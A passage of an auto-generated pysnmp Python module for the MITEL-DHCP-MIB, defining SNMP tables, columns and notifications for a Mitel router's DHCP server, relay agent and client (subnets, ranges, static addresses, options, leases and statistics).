Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerGeneralPingStatus.setStatus('current') mitelDhcpServerSubnetTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2), ) if mibBuilder.loadTexts: mitelDhcpServerSubnetTable.setStatus('current') mitelDhcpServerSubnetEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerSubnetAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerSubnetSharedNet")) if mibBuilder.loadTexts: mitelDhcpServerSubnetEntry.setStatus('current') mitelDhcpServerSubnetAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 1), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerSubnetAddr.setStatus('current') mitelDhcpServerSubnetSharedNet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 2), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerSubnetSharedNet.setStatus('current') mitelDhcpServerSubnetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerSubnetMask.setStatus('current') mitelDhcpServerSubnetGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerSubnetGateway.setStatus('current') mitelDhcpServerSubnetName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 5), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerSubnetName.setStatus('current') mitelDhcpServerSubnetDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerSubnetDeleteTree.setStatus('current') mitelDhcpServerSubnetStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 7), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerSubnetStatus.setStatus('current') mitelDhcpServerRangeTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3), ) if mibBuilder.loadTexts: mitelDhcpServerRangeTable.setStatus('current') mitelDhcpServerRangeEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeStart"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeEnd"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeSubnet")) if mibBuilder.loadTexts: mitelDhcpServerRangeEntry.setStatus('current') mitelDhcpServerRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 1), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerRangeStart.setStatus('current') mitelDhcpServerRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 2), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerRangeEnd.setStatus('current') mitelDhcpServerRangeSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 3), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerRangeSubnet.setStatus('current') mitelDhcpServerRangeProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 4), MitelDhcpServerProtocol()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeProtocol.setStatus('current') mitelDhcpServerRangeGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeGateway.setStatus('current') mitelDhcpServerRangeLeaseTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 6), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeLeaseTime.setStatus('current') mitelDhcpServerRangeName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 7), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeName.setStatus('current') mitelDhcpServerRangeMatchClassId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeMatchClassId.setStatus('current') mitelDhcpServerRangeDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerRangeDeleteTree.setStatus('current') mitelDhcpServerRangeStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 10), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerRangeStatus.setStatus('current') mitelDhcpServerStaticIpTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4), ) if mibBuilder.loadTexts: mitelDhcpServerStaticIpTable.setStatus('current') mitelDhcpServerStaticIpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerStaticIpAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerStaticIpSubnet")) if mibBuilder.loadTexts: mitelDhcpServerStaticIpEntry.setStatus('current') mitelDhcpServerStaticIpAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 1), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStaticIpAddr.setStatus('current') mitelDhcpServerStaticIpSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 2), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStaticIpSubnet.setStatus('current') mitelDhcpServerStaticIpProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 3), MitelDhcpServerProtocol()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpProtocol.setStatus('current') mitelDhcpServerStaticIpGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpGateway.setStatus('current') mitelDhcpServerStaticIpMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpMacAddress.setStatus('current') mitelDhcpServerStaticIpClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 6), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpClientId.setStatus('current') mitelDhcpServerStaticIpName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 7), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpName.setStatus('current') mitelDhcpServerStaticIpDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerStaticIpDeleteTree.setStatus('current') mitelDhcpServerStaticIpStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 9), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerStaticIpStatus.setStatus('current') mitelDhcpServerOptionTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5), ) if mibBuilder.loadTexts: mitelDhcpServerOptionTable.setStatus('current') mitelDhcpServerOptionEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionNumber")) if mibBuilder.loadTexts: mitelDhcpServerOptionEntry.setStatus('current') mitelDhcpServerOptionAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 1), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerOptionAddr.setStatus('current') mitelDhcpServerOptionNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 2), MitelDhcpServerOptionList()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerOptionNumber.setStatus('current') mitelDhcpServerOptionDisplayFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("default", 1), ("ip-address", 2), ("ascii-string", 3), ("integer", 4), ("octet-string", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerOptionDisplayFormat.setStatus('current') mitelDhcpServerOptionValue = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerOptionValue.setStatus('current') mitelDhcpServerOptionStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 5), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerOptionStatus.setStatus('current') mitelDhcpServerLeaseTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6), ) if mibBuilder.loadTexts: mitelDhcpServerLeaseTable.setStatus('current') mitelDhcpServerLeaseEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerLeaseAddr")) if mibBuilder.loadTexts: mitelDhcpServerLeaseEntry.setStatus('current') mitelDhcpServerLeaseAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 1), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseAddr.setStatus('current') mitelDhcpServerLeaseSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 2), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseSubnet.setStatus('current') mitelDhcpServerLeaseRange = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 3), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseRange.setStatus('current') mitelDhcpServerLeaseType = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("static", 1), ("dynamic", 2), ("configuration-reserved", 3), ("server-reserved", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseType.setStatus('current') mitelDhcpServerLeaseEndTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 5), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseEndTime.setStatus('current') mitelDhcpServerLeaseAllowedProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3), ("bootp-or-dhcp", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseAllowedProtocol.setStatus('current') mitelDhcpServerLeaseServedProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseServedProtocol.setStatus('current') mitelDhcpServerLeaseMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 8), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseMacAddress.setStatus('current') mitelDhcpServerLeaseClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseClientId.setStatus('current') mitelDhcpServerLeaseHostName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 10), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseHostName.setStatus('current') mitelDhcpServerLeaseDomainName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 11), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseDomainName.setStatus('current') mitelDhcpServerLeaseServedTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 12), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerLeaseServedTime.setStatus('current') mitelDhcpServerLeaseStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 13), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerLeaseStatus.setStatus('current') mitelDhcpServerStatsGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7)) mitelDhcpServerStatsNumServers = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsNumServers.setStatus('current') mitelDhcpServerStatsConfSubnets = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsConfSubnets.setStatus('current') mitelDhcpServerStatsConfRanges = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsConfRanges.setStatus('current') mitelDhcpServerStatsConfStatic = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsConfStatic.setStatus('current') mitelDhcpServerStatsConfOptions = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsConfOptions.setStatus('current') mitelDhcpServerStatsConfLeases = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerStatsConfLeases.setStatus('current') mitelDhcpServerVendorInfoTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8), ) if mibBuilder.loadTexts: mitelDhcpServerVendorInfoTable.setStatus('current') mitelDhcpServerVendorInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionNumber"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerVendorInfoID")) if mibBuilder.loadTexts: mitelDhcpServerVendorInfoEntry.setStatus('current') mitelDhcpServerVendorInfoID = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 1), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerVendorInfoID.setStatus('current') mitelDhcpServerVendorInfoName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpServerVendorInfoName.setStatus('current') mitelDhcpServerVendorInfoOptionDisplayFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("default", 1), ("ip-address", 2), ("ascii-string", 3), ("integer", 4), ("octet-string", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionDisplayFormat.setStatus('current') mitelDhcpServerVendorInfoOptionValue = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionValue.setStatus('current') mitelDhcpServerVendorInfoStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 5), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: mitelDhcpServerVendorInfoStatus.setStatus('current') mitelDhcpClientTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6), ) if mibBuilder.loadTexts: mitelDhcpClientTable.setStatus('current') mitelDhcpClientEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpClientIndex")) if mibBuilder.loadTexts: mitelDhcpClientEntry.setStatus('current') mitelDhcpClientIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientIndex.setStatus('current') mitelDhcpClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: mitelDhcpClientId.setStatus('current') mitelDhcpClientLeaseAction = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("release", 2), ("renew", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientLeaseAction.setStatus('current') mitelDhcpClientIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 4), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientIpAddress.setStatus('current') mitelDhcpClientLeaseObtained = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 5), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientLeaseObtained.setStatus('current') mitelDhcpClientLeaseExpired = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 6), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientLeaseExpired.setStatus('current') mitelDhcpClientDefaultGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 7), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientDefaultGateway.setStatus('current') mitelDhcpClientServerIp = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 8), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientServerIp.setStatus('current') mitelDhcpClientPrimaryDns = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 9), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientPrimaryDns.setStatus('current') mitelDhcpClientSecondaryDns = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 10), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientSecondaryDns.setStatus('current') mitelDhcpClientPrimaryWins = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 11), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientPrimaryWins.setStatus('current') mitelDhcpClientSecondaryWins = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 12), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientSecondaryWins.setStatus('current') mitelDhcpClientDomainName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 13), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientDomainName.setStatus('current') mitelDhcpClientName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 14), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientName.setStatus('current') mitelDhcpClientAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: mitelDhcpClientAdminState.setStatus('current') mitelIpera1000Notifications = NotificationGroup((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientObtainedIp"), ("MITEL-DHCP-MIB", "mitelDhcpClientLeaseExpiry")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): mitelIpera1000Notifications = mitelIpera1000Notifications.setStatus('current') mitelDhcpClientObtainedIp = NotificationType((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 404)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientIndex"), ("MITEL-DHCP-MIB", "mitelDhcpClientIpAddress"), ("MITEL-DHCP-MIB", "mitelDhcpClientServerIp")) if mibBuilder.loadTexts: mitelDhcpClientObtainedIp.setStatus('current') mitelDhcpClientLeaseExpiry = NotificationType((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 405)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientIndex")) if mibBuilder.loadTexts: mitelDhcpClientLeaseExpiry.setStatus('current') mibBuilder.exportSymbols("MITEL-DHCP-MIB", mitelDhcpServerLeaseDomainName=mitelDhcpServerLeaseDomainName, mitelDhcpServerRangeSubnet=mitelDhcpServerRangeSubnet, mitelDhcpRelayAgentServerTable=mitelDhcpRelayAgentServerTable, mitelDhcpRelayAgentMaxHops=mitelDhcpRelayAgentMaxHops, mitelDhcpServerRangeGateway=mitelDhcpServerRangeGateway, mitelDhcpServerStaticIpTable=mitelDhcpServerStaticIpTable, mitelDhcpServerRangeStart=mitelDhcpServerRangeStart, mitelDhcpServerVendorInfoOptionValue=mitelDhcpServerVendorInfoOptionValue, mitelDhcpClientLeaseExpired=mitelDhcpClientLeaseExpired, mitelDhcpServerRangeEnd=mitelDhcpServerRangeEnd, mitelDhcpServerSubnetStatus=mitelDhcpServerSubnetStatus, mitelDhcpClientId=mitelDhcpClientId, mitelDhcpClientPrimaryDns=mitelDhcpClientPrimaryDns, mitelDhcpClientLeaseExpiry=mitelDhcpClientLeaseExpiry, mitelDhcpServerStaticIpDeleteTree=mitelDhcpServerStaticIpDeleteTree, mitel=mitel, mitelDhcpServerVendorInfoID=mitelDhcpServerVendorInfoID, mitelDhcpServerLeaseAddr=mitelDhcpServerLeaseAddr, mitelDhcpServerLeaseMacAddress=mitelDhcpServerLeaseMacAddress, mitelDhcpServerOptionEntry=mitelDhcpServerOptionEntry, mitelDhcpServerLeaseTable=mitelDhcpServerLeaseTable, mitelDhcpClientEntry=mitelDhcpClientEntry, mitelDhcpClientIndex=mitelDhcpClientIndex, mitelDhcpServerStatsGroup=mitelDhcpServerStatsGroup, mitelDhcpRelayAgentServerName=mitelDhcpRelayAgentServerName, mitelDhcpRelayAgentServerAddr=mitelDhcpRelayAgentServerAddr, mitelDhcpServerRangeLeaseTime=mitelDhcpServerRangeLeaseTime, mitelIdentification=mitelIdentification, mitelDhcpServerSubnetGateway=mitelDhcpServerSubnetGateway, mitelDhcpServerStatsConfRanges=mitelDhcpServerStatsConfRanges, mitelDhcpServerRangeStatus=mitelDhcpServerRangeStatus, mitelDhcpClientSecondaryDns=mitelDhcpClientSecondaryDns, mitelProprietary=mitelProprietary, mitelDhcpServerGroup=mitelDhcpServerGroup, mitelDhcpServerVendorInfoName=mitelDhcpServerVendorInfoName, mitelDhcpServerOptionStatus=mitelDhcpServerOptionStatus, mitelDhcpServerStatsConfStatic=mitelDhcpServerStatsConfStatic, mitelDhcpServerSubnetEntry=mitelDhcpServerSubnetEntry, mitelDhcpClientDomainName=mitelDhcpClientDomainName, mitelDhcpServerGeneralRefDhcpServer=mitelDhcpServerGeneralRefDhcpServer, mitelDhcpClientAdminState=mitelDhcpClientAdminState, mitelDhcpClientObtainedIp=mitelDhcpClientObtainedIp, mitelDhcpServerStatsConfLeases=mitelDhcpServerStatsConfLeases, mitelDhcpServerStaticIpSubnet=mitelDhcpServerStaticIpSubnet, mitelDhcpServerSubnetAddr=mitelDhcpServerSubnetAddr, mitelDhcpServerLeaseHostName=mitelDhcpServerLeaseHostName, mitelPropIpNetworking=mitelPropIpNetworking, mitelDhcpServerLeaseEntry=mitelDhcpServerLeaseEntry, mitelRouterDhcpGroup=mitelRouterDhcpGroup, mitelDhcpRelayAgentEnable=mitelDhcpRelayAgentEnable, mitelDhcpServerVendorInfoOptionDisplayFormat=mitelDhcpServerVendorInfoOptionDisplayFormat, mitelDhcpServerOptionTable=mitelDhcpServerOptionTable, mitelDhcpServerOptionNumber=mitelDhcpServerOptionNumber, mitelDhcpServerOptionAddr=mitelDhcpServerOptionAddr, mitelIpNetRouter=mitelIpNetRouter, mitelDhcpClientSecondaryWins=mitelDhcpClientSecondaryWins, 